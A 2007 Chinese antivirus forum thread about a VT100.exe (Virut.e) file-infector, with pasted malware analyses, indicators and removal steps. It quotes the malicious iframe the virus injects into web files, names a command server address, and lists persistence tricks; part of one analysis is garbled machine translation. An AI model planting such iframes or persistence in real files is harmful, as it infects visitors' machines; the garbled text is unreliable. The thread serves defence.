微点交流论坛

标题: 新病毒:VT100.EXE [打印本页]

作者: zcwy 时间: 2007-4-13 16:47 标题: 新病毒:VT100.EXE

启动系统进不了桌面,调出任务管理器运行C:\windows\explorer.exe 进桌面...

所有的EXE感染病毒..

我在网上搜索的这位网友和我的情况一样:身负巨毒，上网求助。

1，在断网情况下，新装了上海版的系统后，用xyboys写的导入工具将4月6日的病毒库导入未激活的卡巴，然后查杀c盘，无任何病毒，但是一上网后卡巴就连续报毒，主要是以下几个。
windows\system32\netsh.exe          virus.win32.virut.e
windows\system32\conime.exe       virus.win32.virut.e
windows\system32\taskmgr.exe       virus.win32.virut.e
windows\system32\dwwin.exe          virus.win32.virut.e
windows\system32\drwtsn32.exe       virus.win32.virut.e
windows\explorer.exe             这个怎么报的我忘记了，但是这个文件绝对是系统自带的啊
windows\system32\vt100.exe          风险软件

在未连网时卡巴就没报，一切正常，但是一连上这些文件就被报出来了，请问这是为什么？以上几个运行程序的作用是啥？希望高手能简单讲解一下

2，我在cdbest论坛下的nero7，其keygen7.exe ,  和yaoyuan.com下的星际1.14硬盘版补丁等我认为没有问题的文件被暴毒，我将其设到信任区域里后，卡巴仍然时不时的报毒（病毒 typc_win32(修改) ），然后双击无法运行了，这些文件我是一定要用的啊。

这种情况该如何解决啊？

3，我把taskmgr.exe清除以后，任务管理器就吊不出来了，这该如何解决啊？？我不想在恢复系统了。

4，一旦上网后，病毒就发作了，接连感染、寄生在explorer.exe，iexplor.exe,notepad，msmsgs等重要执行文件内，不杀不行，一杀系统就受影响甚至崩溃，所以我想把
主动防御-程序完整性保护内的关键程序全部设为阻止内容修改，不知道这样行不？
除此之外还有什么办法防止病毒对我的重要执行文件的修改，我的卡巴网络套装是更新到最新的病毒库了啊，为什么还会这样。。。
小弟刚买了卡巴一个星期，对病毒知识一点不了解，正在恶补中，但时间又很有限，希望高手不吝赐教，谢谢。

作者: zcwy 时间: 2007-4-13 16:49
一位网友的分析!!!!

今天从某个网友那里获得了一个病毒据说是感染文件的卡巴报为Virus.Win32.Virut.e（瑞星还不能查杀）
看病毒名估计是一个新的感染exe系列的变种
病毒文件名 VT100.exe
病毒大小 125952字节
MD5 35703ea7c752d959d2e9d904654a5522
编写语言 Delphi
此病毒特征：1.感染exe(包括系统分区）html htm php asp aspx 文件
2.结束一些杀毒软件进程
3.删除hosts文件
4.通过hook API函数隐藏进程隐藏文件自身及注册表中的启动项目
5.删除gho文件
总体上来看有点步李俊的后尘哦！

运行文件后
生成如下文件
C:\Windows\system32\VT100.exe

Hook 以下API函数Ntcreatefile
Ntcreateprocess
NtcreateprocessEx
NtEnumerateValueKey
NtQueryDirectoryFile
NtQuerySystemInformation
ZwCreateFile
ZwCreateprocess
ZwCreateprocessEx
ZwEnumerateValueKey
ZwOpenFile
ZwQueryDirectoryFile
使得C:\Windows\system32\VT100.exe在资源管理器下不可见
其进程在任务管理器中也不可见
后面提到的启动项目在注册表编辑器中也不可见

注册表方面
添加HKLM\SOFTWARE\Microsoft\Tracing\FWCFG键
并在其下建立值
HKLM\SOFTWARE\Microsoft\Tracing\FWCFG\EnableFileTracing: 0x00000000
HKLM\SOFTWARE\Microsoft\Tracing\FWCFG\EnableConsoleTracing: 0x00000000
HKLM\SOFTWARE\Microsoft\Tracing\FWCFG\FileTracingMask: 0xFFFF0000
HKLM\SOFTWARE\Microsoft\Tracing\FWCFG\ConsoleTracingMask: 0xFFFF0000
HKLM\SOFTWARE\Microsoft\Tracing\FWCFG\MaxFileSize: 0x00100000
HKLM\SOFTWARE\Microsoft\Tracing\FWCFG\FileDirectory: "%windir%\tracing"
用意不懂不过感觉应该和不断的停止防火墙的程序有关
我的瑞星防火墙就是被他不断的停止...

在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下面增加名称为VT100 Emulator的键值
指向 C:\Windows\system32\VT100.exe达到开机自启动的目的

删除C:\WINDOWS\system32\drivers\etc\hosts
和gho文件

如果有如下进程则结束
sfmantec antipirus（作者拼错了吧？呵呵）
ravmon.exe
zonealarm
rav_onclass

感染系统分区（包括C:\WINDOWS\system32\dllcache\下面的文件）及其他分区的exe文件
使得被感染文件增加9728字节的内容

感染感染系统分区（包括C:\WINDOWS\system32\dllcache\下面的文件）及其他分区的html htm php asp aspx 文件
在其内部添加如下代码
<iframe src="http://www.zief.pl/iraq.jpg" width=1 height=1></iframe></body>

通过winlogon进程访问81.95.149.98:65520 可没找到插入winlogon的 dll ..

作者: Legend 时间: 2007-4-13 16:52
楼主的情况请把您的病毒样本压缩加密发到virus@micropoint.com.cn我们具体测试分析下。

作者: zcwy 时间: 2007-4-13 17:02
病毒已打包发送！！！

作者: Legend 时间: 2007-4-13 17:04
请把您发送的邮箱地址用论坛短消息发给我

作者: zcwy 时间: 2007-4-13 17:08
已发送,请查收!

作者: zcwy 时间: 2007-4-13 17:09
再看一位网友的分析:
实在是郁闷，这几天中毒 VT100.EXE 怎么都杀不掉.清除后重启还是有...

(请注意：如果系统有提示VT100.EXE修改注册表时一定不要让它通过..)

在网上找到的相关资料太少了，也不知道什么时候这些杀毒软件可以把它(VT100.EXE)干掉

网上大多都是说用冰刃和文件粉碎器来清除这个病毒，我这样做了可是行不通..

到现在系统免强还能爬行. 每次开机就要先开冰刃把VT100.EXE过程关掉.不关掉他就会连线网络下载不知名的邮件，而且数量很多..

该病毒分为两部分:

1) vt100.exe ( 50 kB EXE ) - hidden process
认证授权1)vt100.exe(50字节)--隐藏进程
2) code of about 8 kB which is used to infect EXE files.2)
约8千字节代码是用来感染可执行文件.
3) it also tries to connect to some IP.3)
有的还试图连接的IP.

--------------------------------------------------------------
简介:
VT100.EXE is a rootkit virus that hides its process and executable files having it undetected by AntiVirus software.vt100.exe

是Rootkit的病毒隐藏其进程和可执行文件的情况下,它具有反病毒软件. It also infects .exe and .scr files.它也感染.认证及.可控硅档案.

Technical Name: VT100.EXE (Rootkit)
技术名称:vt100.exe(Rootkit的)

Threat Level: Medium
威胁程度:中等

Type: Virus
类型:病毒

Systems Affected: Windows All
受影响系统:所有窗口

VT100.EXE (Rootkit) removal procedure requires technical know-how on  computer troubleshooting. It is better to consult your

LAN Administrator or Technical Persons to avoid additional damage on your computer if modifications on Services and Registry

have to be done.

HOW TO REMOVE VT100.EXE (Rootkit) :

1. Temporarily disable System Restore (Windows Me/XP).
2. Update the virus definitions.

3. Reboot computer in SafeMode
4. Run a full system scan and delete all infected files.

5. In order to make sure that threat is completely eliminated from your computer, carry out a full scan of your computer

using AntiVirus and Antispyware Software. Another way to delete the virus using various Antivirus Program without the need to

install can be done with Online Virus Scanner.

---------------------------------------------------------------

你看,病毒Rootkit的隐藏其进程,档案和档案关键.

启动后,几乎所有档案感染vt100.exe一切盘.

ircboot(cmd.exe感染档案)正在试图从偏远档案下载vt100.exe主办.

-----------------------------------------------------------------

病毒/Rootkit的vt100.exe

* hides its process and executable file
   隐藏其进程和可执行文件

* injects its code to every created process
   每个代码注入其制造过程

* infects most executable files on ALL disks, enlarging files by  5120 or  8192 bytes.
   大多数感染所有可执行文件盘、扩大到5120或8192字节档案.

* if the executable file is not infected, it is modified during the launch ( *.EXE, *.SCR )
   如果不是感染可执行文件,它是在发射改装(*可执行,可控硅*)

* infected file (process) connects to some host and tries to download rootkit file : VT100.EXE
   受感染的档案(工艺)主办,并试图连接某些Rootkit的档案下载:vt100.exe

* after the VT100.exe is downloaded,  it starts massive infection of *.EXE files
   vt100.exe是下载

这个病毒，目前有个解决的办法，不过比较残忍！
解决方法如下：
恢复系统，ghost或者全新安装！
不要打开任何程序，呆系统启动成功后，点开始/查找
然后删除除系统盘（一般是c盘）所有的exe的文件！
然后重新整理自己的资料！
自己备份的很多程序啊，驱动啊，都没了，实在没好的办法……
试试吧

作者: 我 时间: 2007-4-13 23:58 标题: http://www.gmer.net/vt100.exe.php

如果有删除这些注册表项目：

删除这些注册表项目：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]
<333><C:\Syswm1i\svchost.exe>  [N/A]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
<ltnward><; C:\WINDOWS\system32\ltnward.exe>  [N/A]
<SoundService><rundll32.exe "C:\WINDOWS\system32\sfnwlufn.dll",setvm>  [N/A]
<winform><C:\WINDOWS\winform.exe>  [N/A]
<mppds><C:\WINDOWS\mppds.exe>  [N/A]
<upxdnd><C:\DOCUME~1\ADMINI~1.47D\LOCALS~1\Temp\upxdnd.exe>  [N/A]
<wsttrs><C:\WINDOWS\wsttrs.exe>  [N/A]
<msccrt><C:\WINDOWS\msccrt.exe>  [N/A]
<cmdbcs><C:\WINDOWS\cmdbcs.exe>  [N/A]
<VT100 Emulator><C:\WINDOWS\system32\VT100.EXE>  [N/A]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks]
<{B187090E-3630-4961-BB2A-813C4FDE56EF}><C:\WINDOWS\system32\khffggg.dll>  [N/A]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\fade]
<WinlogonNotify: fade><C:\WINDOWS\system32\Lntma32t.dll>  [N/A]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\gebcb]
<WinlogonNotify: gebcb><C:\WINDOWS\system32\gebcb.dll>  [N/A]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\khffggg]
<WinlogonNotify: khffggg><khffggg.dll>  [N/A]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\rpcc]
<WinlogonNotify: rpcc><C:\WINDOWS\system32\rpcc.dll>  [N/A]

删除这两个服务：
[Windows SystemDown / WindowsDown][Stopped/Auto Start]
  <C:\WINDOWS\system32\servet.exe><N/A>
[Client IP-IPX / Client IP-IPX][Stopped/Auto Start]
  <"C:\WINDOWS\system32\svchosts.exe" -e te-110-12-0000122><N/A>

删除这三个驱动程序：
[EXAMPLE / EXAMPLE][Stopped/System Start]
  <\??\C:\WINDOWS\system32\main.sys><N/A>
[kgofogl / kgofogl][Running/Boot Start]
  <\SystemRoot\\SystemRoot\System32\drivers\kgofogl.sys><N/A>
[Runtime / Runtime][Running/Manual Start]
  <\??\C:\WINDOWS\System32\drivers\runtime.sys><N/A>

删除这些浏览器加载项：
[]
  {0676624D-2467-4400-A629-C97AB2F3C368} <C:\WINDOWS\system32\gebcb.dll, N/A>
[]
  {57E218E6-5A80-4f0c-AB25-83598F25D7E9} <C:\WINDOWS\system32\wogpyhvx.dll, N/A>
[]
  {B187090E-3630-4961-BB2A-813C4FDE56EF} <C:\WINDOWS\system32\khffggg.dll, N/A>
[]
  {0676624D-2467-4400-A629-C97AB2F3C368} <C:\WINDOWS\system32\gebcb.dll, N/A>
[]
  {57E218E6-5A80-4F0C-AB25-83598F25D7E9} <C:\WINDOWS\system32\wogpyhvx.dll, N/A>
[]
  {B187090E-3630-4961-BB2A-813C4FDE56EF} <C:\WINDOWS\system32\khffggg.dll, N/A>

结束进程：
C:\WINDOWS\system32\VT100.EXE

删除文件：
C:\WINDOWS\system32\VT100.EXE

重启后删除文件：
C:\WINDOWS\system32\gebcb.dll
C:\WINDOWS\system32\khffggg.dll
C:\WINDOWS\system32\jkkklif.dll
C:\WINDOWS\system32\Lntma32t.dll
C:\WINDOWS\system32\sfnwlufn.dll
C:\WINDOWS\system32\winform.dll
C:\WINDOWS\system32\mppds.dll
C:\WINDOWS\system32\msccrt.dll
C:\WINDOWS\system32\cmdbcs.dll
C:\Documents and Settings\ADMINI~1.47D\Local Settings\Temp\upxdnd.dll
C:\WINDOWS\system32\wogpyhvx.dll
C:\Syswm1i\svchost.exe
C:\WINDOWS\system32\ltnward.exe
C:\WINDOWS\winform.exe
C:\WINDOWS\mppds.exe
C:\Documents and Settings\ADMINI~1.47D\Local Settings\Temp\upxdnd.exe
C:\WINDOWS\wsttrs.exe
C:\WINDOWS\msccrt.exe
C:\WINDOWS\cmdbcs.exe
C:\WINDOWS\system32\rpcc.dll
C:\WINDOWS\system32\servet.exe
C:\WINDOWS\system32\svchosts.exe
C:\WINDOWS\system32\main.sys
C:\WINDOWS\System32\drivers\kgofogl.sys
C:\WINDOWS\System32\drivers\runtime.sys

可以使用IceSword辅助操作重装比较简单你早装微点就没事了

[ Last edited by 我 on 2007-4-14 at 00:00 ]

作者: Legend 时间: 2007-4-14 15:43
经测试楼主提交的病毒样本，微点软件成功拦截“发现未知间谍软件”并处理成功；
建议楼主到微点官方网站下载最新版本微点软件安装包安装注册使用。
www.micropoint.com.cn

作者: 408983504 时间: 2007-4-14 22:52
这个年代网络多病毒啊
要多加小心啊

作者: zcwy 时间: 2007-4-15 00:08
感谢微点公司的处理,没想到问题这么快就解决了!!!

作者: hds_ss 时间: 2007-4-15 09:45
超管,为什么要重新下载最新的安装包呢?升级不行吗?

作者: minwei 时间: 2007-4-16 04:24
又一个感染型毒！
到我的签名下个“慧眼”找个有经验的来帮你清楚！

作者: Legend 时间: 2007-4-17 09:45

Quote:

Originally posted by hds_ss at 2007-4-15 09:45:
超管,为什么要重新下载最新的安装包呢?升级不行吗?

升级同样可以，因为楼主没有安装，所以推荐他下载最新版本。

欢迎光临微点交流论坛 (http://bbs.micropoint.com.cn/)

bbs.micropoint.com.cn